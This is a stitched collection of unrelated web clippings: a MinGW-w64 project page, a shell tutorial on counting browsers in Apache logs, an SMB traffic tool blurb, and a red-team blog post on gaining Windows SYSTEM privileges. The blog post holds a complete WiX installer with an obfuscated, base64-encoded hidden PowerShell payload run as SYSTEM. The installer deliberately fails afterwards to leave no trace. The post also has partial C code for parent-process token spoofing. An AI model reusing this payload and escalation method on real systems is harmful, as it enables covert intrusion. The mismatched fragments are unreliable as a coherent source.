    Processor    Vendor           Model
    ------------ ---------------- -----
    0            GenuineIntel     Intel(R) Xeon(R) CPU           X5560  @ 2.80GHz
    1            GenuineIntel     Intel(R) Xeon(R) CPU           X5560  @ 2.80GHz
    
    
    
    
[/code]

# About the Author

Dan Caban \(EnCE, CCE, ACE\) works as a Principal Consultant at McAfee
Foundstone Services EMEA based out of Dubai, United Arab Emirates.

## References

# Windows 8 Forensic Guide

**Created:**| _10/29/2013 9:39:18 AM_  
---|---  
**Updated:**| _10/29/2013 9:39:53 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  
<img src='img/thomsonwindows-8-forensic-guide2-131028184214-phpapp02.pdf' />

# GCC for both x64 & x86 Windows\! - MinGW-w64

**Created:**| _7/15/2011 2:29:00 PM_  
---|---  
**Updated:**| _7/15/2011 2:39:34 PM_  
**Author:**| __  
**Tags:**| _shellcode compiler-building windows environment x64_  
  

# Overview

The project's goal is to deliver runtime, headers, and libs for developing 64
bit \(x64\), as well as 32 bit \(x86\), windows applications using gcc-4.4 or
newer versions.

**Project Status:** Version 1.0 has been released and is considered stable.

You are now able to generate applications using these headers, libs and
runtime together with gcc-4.4 and up. However, when compiling for 64-bit we
recommend using atleast gcc-4.5.1 to take advantage of the many improvements
and bug-fixes. If you come across any bugs, please report them via the Issue
Tracker or notify us directly on IRC.

Please visit the project page for releases and more details\! If you want to
join us in chat, we are on the OFTC network in the channel  \#mingw-w64. You
can also access this channel via a relay on Freenode.net. For users that are
unfamiliar with IRC, we have a  web based client available.

The mingw-w64 toolchain has been officially added to **Cygwin** mirrors, you
can find the basic C toolchain as mingw64-x86\_64-gcc-core. The languages
enabled are C, Ada, C++, Fortran, Object C and Objective C++. There is a known
caveat where calling the compiler directly as "/bin/x86\_64-w64-mingw32-gcc"
will fail, use "/usr/bin/x86\_64-w64-mingw32-gcc" instead and make sure that
your PATH variable has "/usr/bin" before "/bin".

### Projects successfully using MinGW-w64

  * ReactOS
  * GDB: The GNU Project Debugger
  * Hexen II: Hammer of Thyrion
  * FLTK
  * Emerge Desktop
  * GIMP
  * wxPerl PPMs
  * GnuTLS
  * SBC Archiver
  * Wine
  * MPIR
  * FFmpeg
  * GNU SASL
  * Fedora cross-compiler
  * zlib
  * GNU Binutils
  * The R Project for Statistical Computing
  * JPen
  * OpenLisp
  * libsndfile
  * MS MPI
  * Perl \(5.12.0 and later\)
  * YafaRay
  * Factor
  * ManKai Common Lisp
  * Libxml2
  * OpenFOAM
  * OpenSSL
  * GTK+
  * iAuxSoft
  * OpenSC
  * Code::Blocks
  * QuakeSpasm
  * GCC: The GNU Compiler Collection
  * wxWidgets
  * ReMooD
  * PostgreSQL
  * VideoLAN VLC
  * Barchart-UDT
  * pthreads
  * Strawberry Perl \(contains bundled mingw-w64 gcc toolchain\)
  * MAME \(Yes, the arcade emulator\!\)
  * mpg123
  * mCtrl
  * libav
  * **Add your project\!**

### Live Project Feed

  * Friday, July 2011 01:53 PMmingw-w64-bbot made 2 file-release changes
  * Friday, July 2011 01:07 PMmingw-w64-bbot made 2 file-release changes
  * Friday, July 2011 11:25 AMmingw-w64-bbot made 2 file-release changes
  * Friday, July 2011 10:13 AMmingw-w64-bbot made 1 file-release changes
  * Friday, July 2011 10:12 AMmingw-w64-bbot made 1 file-release changes
  * Friday, July 2011 01:18 AMmingw-w64-bbot made 2 file-release changes
  * Thursday, July 2011 06:32 PMnjw-apl commented on the Attempting to link with '/c/bb/vista64...'??? artifact
  * Thursday, July 2011 06:10 PMmingw-w64-bbot made 2 file-release changes
  * Thursday, July 2011 10:13 AMmingw-w64-bbot made 2 file-release changes
  * Wednesday, July 2011 10:23 AMmingw-w64-bbot made 1 file-release changes

##

# Command Line Kung Fu: Episode \#38: The Browser Count Torture Test

**Created:**| _5/20/2009 1:57:59 PM_  
---|---  
**Updated:**| _5/20/2009 1:58:16 PM_  
**Author:**| __  
**Tags:**| _commandline-kungfu_  
  

### Episode \#38: The Browser Count Torture Test

Hal just can't resist:  
  
One of my customers was interested in some stats on which browsers were
hitting their web site most often. My first thought was to use a Perl script
to parse the user agent strings out of the Apache access\_log files. But, hey,
I write for Command Line Kung Fu, so how far can I get just using standard
Unix tools? Besides, trying to do the same thing in the Windows shell will be
a ~~pain in the~~... ~~humiliating defeat~~... interesting learning experience
for Ed, and I'm committed to the growth of my friends.  
  
First let me show you what I came up with, then I'll explain it in detail:  
  

[code]

    # **grep 'POST /login/form' ssl_access_log* | \  
     sed -r 's/.*(MSIE [0-9]\.[0-9]|Firefox\/[0-9]+|Safari|-).*/\1/' | \  
    sort | uniq -c | \  
    awk '{ t = t + $1; print} END { print t " TOTAL" }' | \  
    sort -nr | \  
    awk '/TOTAL/ { t = $1; next }; { $1 = sprintf("%.1f%%\t", $1*100/t); print}'**  
    46.4%  Firefox/3  
    27.0%  MSIE 7.0  
    14.3%  Safari  
    5.3%  MSIE 6.0  
    3.0%  Firefox/2  
    2.4%  -  
    1.2%  MSIE 8.0  
    0.3%  Firefox/1
    
[/code]

  
Here's the line-by-line interpretation:  
  

  1.   

  2. I didn't want to count every single page access, but was instead more interested in counting browsers by "user session". Since the site requires a user login for access, I used posting the secure login form as a proxy for recognizing individual sessions. Close enough for jazz.
  3.   

  4. Now, to pull out the browser name/version from the user agent string. The data here is annoyingly irregular, so it looks like a good task for sed. Notice that I'm using the "-r" option in GNU sed to use extended regular expression syntax: not only does this allow me to use "|" in the regexp, but it also means I don't need to backwhack my parens to create sub-expressions.  
  
The regular expression itself is interesting. I'm creating a sub-expression
match on either "MSIE <vers>.<sub>", "Firefox/<vers>", or "Safari" \(I don't
find tracking Firefox sub-versions or Safari version numbers that interesting,
but as always "your mileage may vary"\). Anything that doesn't match one of
these browser patterns ends up matching a hyphen \("-"\) character, which are
plentiful in Apache access\_log entries.  
  
I place ".\*" before and after the sub-expression, which matches the rest of
the line before and after the browser string. However, since that text is not
included in the sub-expression, when I replace the matching line with the sub-
expression then the rest of the text is dropped. That leaves us with an output
stream of just the browser info, or "-" for lines that don't match one of the
major browsers we're tracking.

  5.   

  6. Now that we've got a data stream with the browser info, it's time to count it. "... | sort | uniq -c" is the common idiom for this, and we end up with output like:  
  

[code]        290 -  
     34 Firefox/1  
    363 Firefox/2  
    5534 Firefox/3  
    632 MSIE 6.0  
    3207 MSIE 7.0  
    139 MSIE 8.0  
    1708 Safari
    
[/code]

  7.   

  8. The next line is a common awk idiom for totalling a column of numbers. We print out each line as it's processed, but also keep a running total in the variable "t". After all the input has been processed, we use an "END" block to output the total. Now our output looks like:  
  

[code]        290 -  
     34 Firefox/1  
    363 Firefox/2  
    5534 Firefox/3  
    632 MSIE 6.0  
    3207 MSIE 7.0  
    139 MSIE 8.0  
    1708 Safari  
    11907 TOTAL
    
[/code]

  9.   

  10. The next "sort -nr" not only puts our data into numerically sorted order, but also has the side-effect of moving the "TOTAL" column up to the first line of output. We're going to make use of this in the awk expression on the next line.
  11.   

  12. The last awk expression is a little psychotic, so let's take it piece by piece. The first section, "/TOTAL/ \{ t = $1; next \}", matches our initial "TOTAL" line and puts the total number of entries into the variable "t". The "next" causes awk to skip on to the next line without printing the current line \("TOTAL"\).  
  
The other portion of the awk code will handle all of the other lines in the
output. What we're doing here is replacing the raw count number in the first
column with a percentage. The "sprintf\(...\)" format string looks a little
weird, but it means a floating point value with one decimal place \("%.1f"\),
followed by a literal percent character \("%%"\), followed by a tab \("\t"\).
The numeric value we plug in is the raw count from column 1 of the output,
times 100, divided by the "TOTAL" value we extracted from the first line of
output.

  13.   

  
And there you have it. The agonized squealing you're hearing is Ed wondering
how he's going to even get close to this in the Windows shell. I can't wait to
see what he comes up with.  
  
Ed responds:  
Wow\! That's some serious fu there, Hal. And, I mean both serious and fu.  
  
Thanks for the interesting learning opportunity, kind sir. How delightful\!  
  
As you know, we're kinda hampered with cmd.exe in that we get regex support
from findstr, which cannot do extended regular expressions like sed -r.
Therefore, we cannot do the funky "|" in the regex. Our resulting command will
have to include more piece-parts for each browser.  
  
And, as we discussed in Episode \# 25: My Shell Does Math, we have access to
simple integer math in cmd.exe via "set /a", but floating point and division
cause problems.  
  
Still, we can get some useful output that tells us the number of each kind of
browser and a handy total like this:  
  

[code]

    C:\> echo MSIE > browser.txt & echo Firefox >> browser.txt & echo Safari  
         >> browser.txt & echo - >> browser.txt & (for /f %i in (browser.txt) do   
         @echo %i & type ssl_access_log | find "POST /login/form" | find /c "%i" & echo.)   
    & del browser.txt       
    MSIE  
    873  
      
    Firefox  
    1103  
      
    Safari  
    342  
      
    -  
    2327  
    
    
[/code]

  
In this command, I'm first building a little file called browser.txt
containing the different browsers strings that I'd like to count. I'll then
iterate over that file using a FOR /F loop. I'd much rather do this by
iterating over a string containing "MSIE FIREFOX SAFARI -", but unfortunately,
FOR /F parses strings into a series of variables all in one FOR /F iteration,
making it useful for parsing a string into different variables \(like %i %j
%k, etc.\). But, FOR /F used with a string does not pull apart a string into
pieces that vary at each iteration through the loop. Boo, FOR /F\! So, we
compensate by building a little file with one browser per line, and then we
iterate over that.  
  
For each browser in browser.txt, we display the browser name \(echo %i\), and
scrape through our ssl\_access\_log using the plain old find command to look
for lines with "POST /login/form". I then take the output of that, pipe it
through find with a /c option to count the number of occurrences of the %i
iterator, which is the name of each browser. Note that the - will total all
browsers, since their log entries have a dash in them. After my little looping
escapade, I delete the temporary browser.txt file that I created at the
beginning.  
  
The output, while not as beautiful as Hal's, still is useful -- you see the
number of POST login actions per browser, and the total. Why, you could even
add a little "& calc.exe" at the end to pop up a calculator to do your
percentages. :\)

# SMB Traffic Analyzer « hhetter's blog

**Created:**| _11/11/2010 8:54:48 AM_  
---|---  
**Updated:**| _11/11/2010 8:55:04 AM_  
**Author:**| __  
**Tags:**| _windows security network-security_  
  

## SMB Traffic Analyzer

**SMB Traffic Analyzer \(SMBTA in the following\) is a software package to
monitor and create statistics about the data flow on one or more Samba
servers. Statistical data can be automatically created for users, Samba
services, as well as complete domains. In difference to typical network
scanners, SMBTA does not listen on the network card directly. Instead a
different approach has been chosen. SMBTA works from within the Virtual File
System layer in Samba, runs completely transparent to the user, and transfers
it’s collected data through the network to a receiver, building a SQL storage
from the data.**

<img src='img/Temp2_7167.png' width='300' height='57' />

### Latest News – Demo and multimedia – Documentation – Download –Contact  

  

# Alternative methods of becoming SYSTEM

**Created:**| _11/23/2017 9:33:08 AM_  
---|---  
**Updated:**| _11/23/2017 9:33:08 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

« Back to home

# Alternative methods of becoming SYSTEM

Posted on 20th November 2017 Tagged in redteam, windows, meterpreter

For many pentesters, Meterpreter's `getsystem` command has become the default
method of gaining SYSTEM account privileges, but have you ever have wondered
just how this works behind the scenes?

In this post I will show the details of how this technique works, and explore
a couple of methods which are not quite as popular, but may help evade
detection on those tricky redteam engagements.

## Meterpreter's "getsystem"

Most of you will have used the `getsystem` module in Meterpreter before. For
those that haven't, `getsystem` is a module offered by the Metasploit-
Framework which allows an administrative account to escalate to the local
SYSTEM account, usually from local Administrator.

Before continuing we first need to understand a little on how a process can
impersonate another user. Impersonation is a useful method provided by Windows
in which a process can impersonate another user's security context. For
example, if a process acting as a FTP server allows a user to authenticate and
only wants to allow access to files owned by a particular user, the process
can impersonate that user account and allow Windows to enforce security.

To facilitate impersonation, Windows exposes numerous native API's to
developers, for example:

  * ImpersonateNamedPipeClient
  * ImpersonateLoggedOnUser
  * ReturnToSelf
  * LogonUser
  * OpenProcessToken

Of these, the `ImpersonateNamedPipeClient` API call is key to the `getsystem`
module's functionality, and takes credit for how it achieves its privilege
escalation. This API call allows a process to impersonate the access token of
another process which connects to a named pipe and performs a write of data to
that pipe \(that last requirement is important ;\). For example, if a process
belonging to "victim" connects and writes to a named pipe belonging to
"attacker", the attacker can call `ImpersonateNamedPipeClient` to retrieve an
impersonation token belonging to "victim", and therefore impersonate this
user. Obviously, this opens up a huge security hole, and for this reason a
process must hold the `SeImpersonatePrivilege` privilege.

This privilege is by default only available to a number of high privileged
users:

<img src='img/Temp2_517.png' width='828' height='445'
alt='SeImpersonatePrivilege' />

This does however mean that a local Administrator account can use
`ImpersonateNamedPipeClient`, which is exactly how `getsystem` works:

  1. `getsystem` creates a new Windows service, set to run as SYSTEM, which when started connects to a named pipe.
  2. `getsystem` spawns a process, which creates a named pipe and awaits a connection from the service.
  3. The Windows service is started, causing a connection to be made to the named pipe.
  4. The process receives the connection, and calls `ImpersonateNamedPipeClient`, resulting in an impersonation token being created for the SYSTEM user.

All that is left to do is to spawn cmd.exe with the newly gathered SYSTEM
impersonation token, and we have a SYSTEM privileged process.

To show how this can be achieved outside of the Meterpreter-Framework, I've
previously released a simple tool which will spawn a SYSTEM shell when
executed. This tool follows the same steps as above, and can be found on my
github account here.

To see how this works when executed, a demo can be found below:

getsystem-offline Demo

Now that we have an idea just how `getsystem` works, let's look at a few
alternative methods which can allow you to grab SYSTEM.

## MSIExec method

For anyone unlucky enough to follow me on Twitter, you may have seen my recent
tweet about using a .MSI package to spawn a SYSTEM process:

This came about after a bit of research into the DOQU 2.0 malware I was doing,
in which this APT actor was delivering malware packaged within a MSI file.

It turns out that a benefit of launching your code via an MSI are the SYSTEM
privileges that you gain during the install process. To understand how this
works, we need to look at WIX Toolset, which is an open source project used to
create MSI files from XML build scripts.

The WIX Framework is made up of several tools, but the two that we will focus
on are:

  * candle.exe - Takes a .WIX XML file and outputs a .WIXOBJ
  * light.exe - Takes a .WIXOBJ and creates a .MSI

Reviewing the documentation for WIX, we see that `custom actions` are
provided, which give the developer a way to launch scripts and processes
during the install process. Within the CustomAction documentation, we see
something interesting:

<img src='img/Temp2_518.png' width='828' height='80' alt='customaction' />

This documents a simple way in which a MSI can be used to launch processes as
SYSTEM, by providing a custom action with an `Impersonate` attribute set to
`false`.

When crafted, our WIX file will look like this:

1 | <?xml version="1.0"?>  
---|---  
2 | <Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">  
3 |  <Product Id="\*" UpgradeCode="12345678-1234-1234-1234-111111111111" Name="Example Product Name" Version="0.0.1" Manufacturer="@\_xpn\_" Language="1033">  
4 |  <Package InstallerVersion="200" Compressed="yes" Comments="Windows Installer Package"/>  
5 |  <Media Id="1" Cabinet="product.cab" EmbedCab="yes"/>  
6 |   
7 |  <Directory Id="TARGETDIR" Name="SourceDir">  
8 |  <Directory Id="ProgramFilesFolder">  
9 |  <Directory Id="INSTALLLOCATION" Name="Example">  
10 |  <Component Id="ApplicationFiles" Guid="12345678-1234-1234-1234-222222222222">  
11 |  <File Id="ApplicationFile1" Source="example.exe"/>  
12 |  </Component>  
13 |  </Directory>  
14 |  </Directory>  
15 |  </Directory>  
16 |   
17 |  <Feature Id="DefaultFeature" Level="1">  
18 |  <ComponentRef Id="ApplicationFiles"/>  
19 |  </Feature>  
20 |   
21 |  <Property Id="cmdline">powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbgBkAGkAcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQA7ACQAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAUwB0AGEAcgB0AEkAbgBmAG8AOwAkAHMALgBGAGkAbABlAE4AYQBtAGUAPQAkAGIAOwAkAHMALgBBAHIAZwB1AG0AZQBuAHQAcwA9ACcALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBjACAAJABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAJwBIADQAcwBJAEEARABlAGgAQQBGAG8AQwBBADcAVgBXAGIAVwAvAGEAUwBCAEQAKwBuAEUAcgA5AEQAMQBhAEYAaABLADAAUwBEAEkAUwBVAEoAbABLAGwAVwAvAE8AZQBBAEkARQA0AEcAQQBoAEYAcAA0ADIAOQBOAGcAdQBMADEAMQAyAHYAZQBlAHYAMQB2ADkAOABZADcASgBTAHEAeQBWADIAdgAwAGwAbQBKADIAUABYAE8ANwBEADcAegB6AEQATQA3AGQAaQBQAGYAbABwAFQANwBTAHIAZwBZADMAVwArAFgAZQBLADEAOABmAGYAdgBtAHIASQA4AEYAWABpAGwAcQBaAHQAMABjAFAAeABRAHIAKwA0AEQAdwBmAGsANwBKAGkASABFAHoATQBNAGoAVgBwAGQAWABUAHoAcwA3AEEASwBpAE8AVwBmADcAYgB0AFYAYQBHAHMAZgBGAEwAVQBLAFEAcQBDAEcAbAA5AGgANgBzACsAdQByADYAdQBSAEUATQBTAFgAeAAzAG0AKwBTAFMAUQBLAFEANwBKADYAWQBwAFMARQBxAHEAYgA4AHAAWQB6AG0AUgBKAEQAegB1ADYAYwBGAHMAYQBYAHkAVgBjAG4AOABtAFcAOAB5AC8AbwBSAFoAWQByAGEAcgBZAG4AdABPAGwASABQAGsATwAvAEYAYQBoADkAcwA0AHgAcABnADMAQQAwAGEAbABtAHYAMwA4AE8AYQB0AE4AegA0AHUAegBmAFAAMQBMAGgARgBtAG8AWgBzADEAZABLAE0AawBxADcAegBDAFcAMQBaAFIAdgBXAG4AegBnAHcAeQA0AGcAYQByAFoATABiAGMARgBEADcAcwByADgAaQBQAG8AWABwAGYAegBRAEQANwBGAEwAZQByAEQAYgBtAG4AUwBKAG4ASABNAG4AegBHAG8AUQBDAGYAdwBKAEkAaQBQAGgASwA4ADgAeAB4AFoAcwBjAFQAZABRAHMARABQAHUAQwAyADgAaAB4AEIAQQBuAEIASQA5AC8AMgAxADMAeABKADEASQB3AGYATQBaAFoAVAAvAGwAQwBuAEMAWQBMADcAeQBKAGQAMABSAFcAQgBkAEUAcwBFAEQAawA0AGcAMQB0AFUAbQBZAGIAMgBIAGYAWQBlAFMAZQB1AEQATwAxAFIAegBaAHAANABMAC8AcQBwAEoANAA2AGcAVgBWAGYAQwBpADAASAAyAFgAawBGAGEAcABjADcARQBTAE4ASAA3ADYAegAyAE0AOQBqAFQAcgBHAHIAdwAvAEoAaABaAG8ATwBQAGIAMgB6AGQAdgAzADcAaQBwAE0ASwBMAHEAZQBuAGcAcQBDAGgAaQBkAFQAUQA5AGoAQQBuAGoAVgBQAGcALwBwAHcAZQA2AFQAVQBzAGcAcABYAFQAZwBWAFMAeQA1ADIATQBNADAAOABpAEkAaABvAE0AMgBVAGEANQAyAEkANgBtAHkAawBaAHUANwBnAHEANQBsADcAMwBMADYAYgBHAFkARQBxAHMAZQBjAEcAeAB1AGwAVgA0AFAAYgBVADQAZABXAGIAZwBsAG0AUQBxAHMANgA2AEkAWABxAGwAUwBpAFoAZABlAEYAMQAyAE4AdQBOAFEAbgB0AFoAMgBQAFYAOQBSAE8AZABhAFcAKwBSAEQAOQB4AEcAVABtAEUAbQBrAC8ATgBlAG8AQgBOAHoAUwBZAEwAeABLAGsAUgBSAGoAdwBzAFkAegBKAHoAeQB2AFIAbgB0AC8AcQBLAHkAbQBkAGYASQA2AEwATQBJAFEATABaAGsATQBJAFEAVQBFAEYAMgB0AFIALwBCAEgAUABPAGoAWgB0AHQAKwBsADYAeQBBAHEAdQBNADgAQwAyAGwAdwBRAGMAMABrAHQAVQA0AFUAdgBFAHQAUABqACsAZABnAGwASwAwAHkASABJAFkANQBwAFIAOQBCAE8AZABrADUAeABTAFMAWQBFAFMAZQBuAEkARAArAGsAeQBSAEsASwBKAEQAOABNAHMAOQAvAGgAZABpAE0AbQBxAFkAMQBEAG0AVwA0ADMAMAAwADYAbwBUAEkANgBzAGMAagArAFUASQByAEkAaABnAFIARAArAGcAeABrAFEAbQAyAEkAVwBzADUARgBUAFcAdABRAGgAeABzADYAawBYAG4AcAAwADkAawBVAHUAcQBwAGcAeAA2AG4AdQB3ADAAeABwAHkAQQBXADkAaQBEAGsAdwBaAHkAMABJAEEAeQBvAE0ARQB0AEwAeABKAFoASABzAFYATQBMAEkAQwBtADAATgBwAE4AeABqADIAbwBKAEMAVABVAGoAagBvAEMASAB2AEUAeQBiADQAQQBNAGwAWAA2AFUAZABZAHgASQB5AGsAVgBKAHgAQQBoAHoAUwBiAGoATQBxAGQAWQBWAEUAaQA0AEoARwBKADIAVQAwAG4AOQBIAG8AcQBUAEsAeQBMAEYAVQB4AFUAawB5AFkAdQBhAFYAcwAzAFUAMgBNAGwAWQA2ADUAbgA5ADMAcgBEADIAcwBVAEkAVABpAGcANgBFAEMAQQBsAGsATgBBAFIAZgBHAFQAZwBrAEgAOABxAG0ARgBFAEMAVgArAGsANgAvAG8AMQBVAEUAegA2AFQAdABzADYANQB0AEwARwBrAFIAYgBXAGkAeAAzAFkAWAAvAEkAYgAxAG8AOAAxAHIARgB1AGIAMQBaAHQASABSAFIAMgA4ADUAZAAxAEEANwBiADMAVgBhAC8ATgBtAGkAMQB5AHUAcwBiADAAeQBwAEwAcwA5ADYAVwB0AC8AMgAyADcATgBiAEgAaQA0AFcASgBXAHYAZgBEAGkAWAB4AHMAbwA5AFkARABMAFMAdwBuADUAWAAxAHcAUQAvAGQAbQBCAHoAbQBUAHIAZgA1AGgAYgArAHcAMwBCAFcATwA3AFgAMwBpAE8ATwA2AG0ANQByAGwAZAB4AHoAZgB2AGkAWgBZAE4AMgBSAHQAVwBCAFUAUwBqAGgAVABxADAAZQBkAFUAYgBHAHgAaQBpAFUAdwB6AHIAZAB0AEEAWgAwAE8ARgBqAGUATgBPAFQAVAB4AEcASgA0ADYATwByAGUAdQBIAGkARgA2AGIAWQBqAEYAbABhAFIAZAAvAGQAdABoAEoAcgB6AEMAMwB0AC8ANAAxAHIATgBlAGQAZgBaAFQAVgByADYAMQBhAGkAOABSAEgAVwBFAHEAbgA3AGQAYQBoAGoAOABkAG0ASQBJADEATgBjAHQANwBBAFgAYwAzAFUAQwBRAEkANgArAEsAagBJAFoATgB5AGUATgBnADIARABBAEcAZwA0AGEAQgBoAHMAMwBGAGwAOQBxAFYANwBvAEgAdgBHAE0AKwBOAGsAVgBXAGkAagA4AEgANABmAGcANwB6AEIAawBDADQAMQBRAHYAbAB0AGsAUAAyAGYARABJAEEALwB5AFoASAAyAEwAcwBIAEcANgA5AGEAcwB1AGMAdQAyAE4AVABlAEkAKwBOADkAagA0AGMAbAB2AEQAUQA0AE0AcwBDAG0AOABmAGcARgBjAEUAMgBDAFIAcAAvAEIAKwBzAE8AdwB4AEoASABGAGUAbQBPAE0ATwBvACsANwBoAHEANABYAEoALwAwAHkAYQBoAFgAbwBxAE8AbQBoAGUARQB2AHMARwBRAE8ATQB3AG4AVgB0AFgAOQBPAEwAbABzAE8AZAAwAFcAVgB2ADQAdQByAFcAbQBGAFgAMABXAHYAVQBoAHMARgAxAGQAMQB6AGUAdAAyAHEAMwA5AFcATgB4ACsAdgBLAHQAOAA3AEkAeQBvAHQAZQBKAG8AcQBPAHYAVwB1ADEAZwBiAEkASQA0AE0ARwBlAC8ARwBuAGMAdQBUAGoATAA5ADIAcgBYAGUAeABDAE8AZQBZAGcAUgBMAGcAcgBrADYAcgBzAGMARgBGAEkANwBsAHcAKwA1AHoARwBIAHEAcgA2ADMASgBHAFgAUgBQAGkARQBRAGYAdQBDAEIAcABjAEsARwBqAEgARwA3AGIAZwBMAEgASwA1AG4ANgBFAEQASAB2AGoAQwBEAG8AaAB6AEMAOABLAEwAMAA0AGsAaABUAG4AZwAyADEANwA1ADAAaABmAFgAVgA5AC8AUQBoAEkAbwBUAHcATwA0AHMAMQAzAGkATwAvAEoAZQBhADYAdwB2AFMAZwBVADQARwBvAHYAYgBNAHMARgBDAFAAYgBYAHcANgB2AHkAWQBLAGMAZQA5ADgAcgBGAHYAUwBHAGgANgBIAGwALwBkAHQAaABmAGkAOABzAG0ARQB4AG4ARwAvADAAOQBkAFUAcQA5AHoAKwBIAEgAKwBqAGIAcgB2ADcALwA1AGgAOQBaAGYAbwBMAE8AVABTAHcASAA5AGEAKwBQAEgARgBmAHkATAAzAHQAdwBnAFkAWQBTAHIAQgAyAG8AUgBiAGgANQBGAGoARgAzAHkAWgBoADAAUQB0AEoAeAA4AFAAawBDAEIAUQBnAHAAcwA4ADgAVABmAGMAWABTAFQAUABlAC8AQgBKADgAVABmAEIATwBiAEwANgBRAGcAbwBBAEEAQQA9AD0AJwAnACkAKQA7AEkARQBYACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AUwB0AHIAZQBhAG0AUgBlAGEAZABlAHIAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAoACQAcwAsAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA7ACcAOwAkAHMALgBVAHMAZQBTAGgAZQBsAGwARQB4AGUAYwB1AHQAZQA9ACQAZgBhAGwAcwBlADsAJABzAC4AUgBlAGQAaQByAGUAYwB0AFMAdABhAG4AZABhAHIAZABPAHUAdABwAHUAdAA9ACQAdAByAHUAZQA7ACQAcwAuAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQA9ACcASABpAGQAZABlAG4AJwA7ACQAcwAuAEMAcgBlAGEAdABlAE4AbwBXAGkAbgBkAG8AdwA9ACQAdAByAHUAZQA7ACQAcAA9AFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AFMAdABhAHIAdAAoACQAcwApADsA  
22 |  </Property>  
23 |   
24 |  <CustomAction Id="SystemShell" Execute="deferred" Directory="TARGETDIR" ExeCommand='\[cmdline\]' Return="ignore" Impersonate="no"/>  
25 |  <CustomAction Id="FailInstall" Execute="deferred" Script="vbscript" Return="check">  
26 |  invalid vbs to fail install  
27 |  </CustomAction>  
28 |   
29 |  <InstallExecuteSequence>  
30 |  <Custom Action="SystemShell" After="InstallInitialize"></Custom>  
31 |  <Custom Action="FailInstall" Before="InstallFiles"></Custom>  
32 |  </InstallExecuteSequence>  
33 |   
34 |  </Product>  
35 | </Wix>  
view raw msigen.wix hosted with ❤ by GitHub

A lot of this is just boilerplate to generate a MSI, however the parts to note
are our custom actions:

[code]

    <Property Id="cmdline">powershell...</Property>
    <CustomAction Id="SystemShell" Execute="deferred" Directory="TARGETDIR" ExeCommand='[cmdline]' Return="ignore" Impersonate="no"/>
    
[/code]

This custom action is responsible for executing our provided `cmdline` as
SYSTEM \(note the `Property` tag, which is a nice way to get around the length
limitation of the `ExeCommand` attribute for long Powershell commands\).

Another trick which is useful is to ensure that the install fails after our
command is executed, which will stop the installer from adding a new entry to
"Add or Remove Programs" which is shown here by executing invalid VBScript:

[code]

    <CustomAction Id="FailInstall" Execute="deferred" Script="vbscript" Return="check">
      invalid vbs to fail install
    </CustomAction>
    
[/code]

Finally, we have our `InstallExecuteSequence` tag, which is responsible for
executing our custom actions in order:

[code]

    <InstallExecuteSequence>
      <Custom Action="SystemShell" After="InstallInitialize"></Custom>
      <Custom Action="FailInstall" Before="InstallFiles"></Custom>
    </InstallExecuteSequence>
    
[/code]

So, when executed:

  1. Our first custom action will be launched, forcing our payload to run as the SYSTEM account.
  2. Our second custom action will be launched, causing some invalid VBScript to be executed and stop the install process with an error.

To compile this into a MSI we save the above contents as a file called
"msigen.wix", and use the following commands:

[code]

    candle.exe msigen.wix
    torch.exe msigen.wixobj
    
[/code]

Finally, execute the MSI file to execute our payload as SYSTEM:

<img src='img/shell3.gif' width='828' height='313' alt='shell3' />

## PROC\_THREAD\_ATTRIBUTE\_PARENT\_PROCESS method

This method of becoming SYSTEM was actually revealed to me via a post from
James Forshaw's walkthrough of how to become "Trusted Installer".

Again, if you listen to my ramblings on Twitter, I recently mentioned this
technique a few weeks back:

How this technique works is by leveraging the `CreateProcess` Win32 API call,
and using its support for assigning the parent of a newly spawned process via
the `PROC_THREAD_ATTRIBUTE_PARENT_PROCESS` attribute.

If we review the documentation of this setting, we see the following:

<img src='img/Temp2_519.png' width='828' height='203'
alt='PROC_THREAT_ATTRIBUTE_PARENT_PROCESS' />

So, this means if we set the parent process of our newly spawned process, we
will inherit the process token. This gives us a cool way to grab the SYSTEM
account via the process token.

We can create a new process and set the parent with the following code:

[code]

    int pid;
    HANDLE pHandle = NULL;
    STARTUPINFOEXA si;
    PROCESS_INFORMATION pi;
    SIZE_T size;
    BOOL ret;
    
    // Set the PID to a SYSTEM process PID
    pid = 555;
    
    EnableDebugPriv();
    
    // Open the process which we will inherit the handle from
    if ((pHandle = OpenProcess(PROCESS_ALL_ACCESS, false, pid)) == 0) {
    	printf("Error opening PID %d\n", pid);
    	return 2;
    }
    
    // Create our PROC_THREAD_ATTRIBUTE_PARENT_PROCESS attribute
    ZeroMemory(&si, sizeof(STARTUPINFOEXA));
    
    InitializeProcThreadAttributeList(NULL, 1, 0, &size);
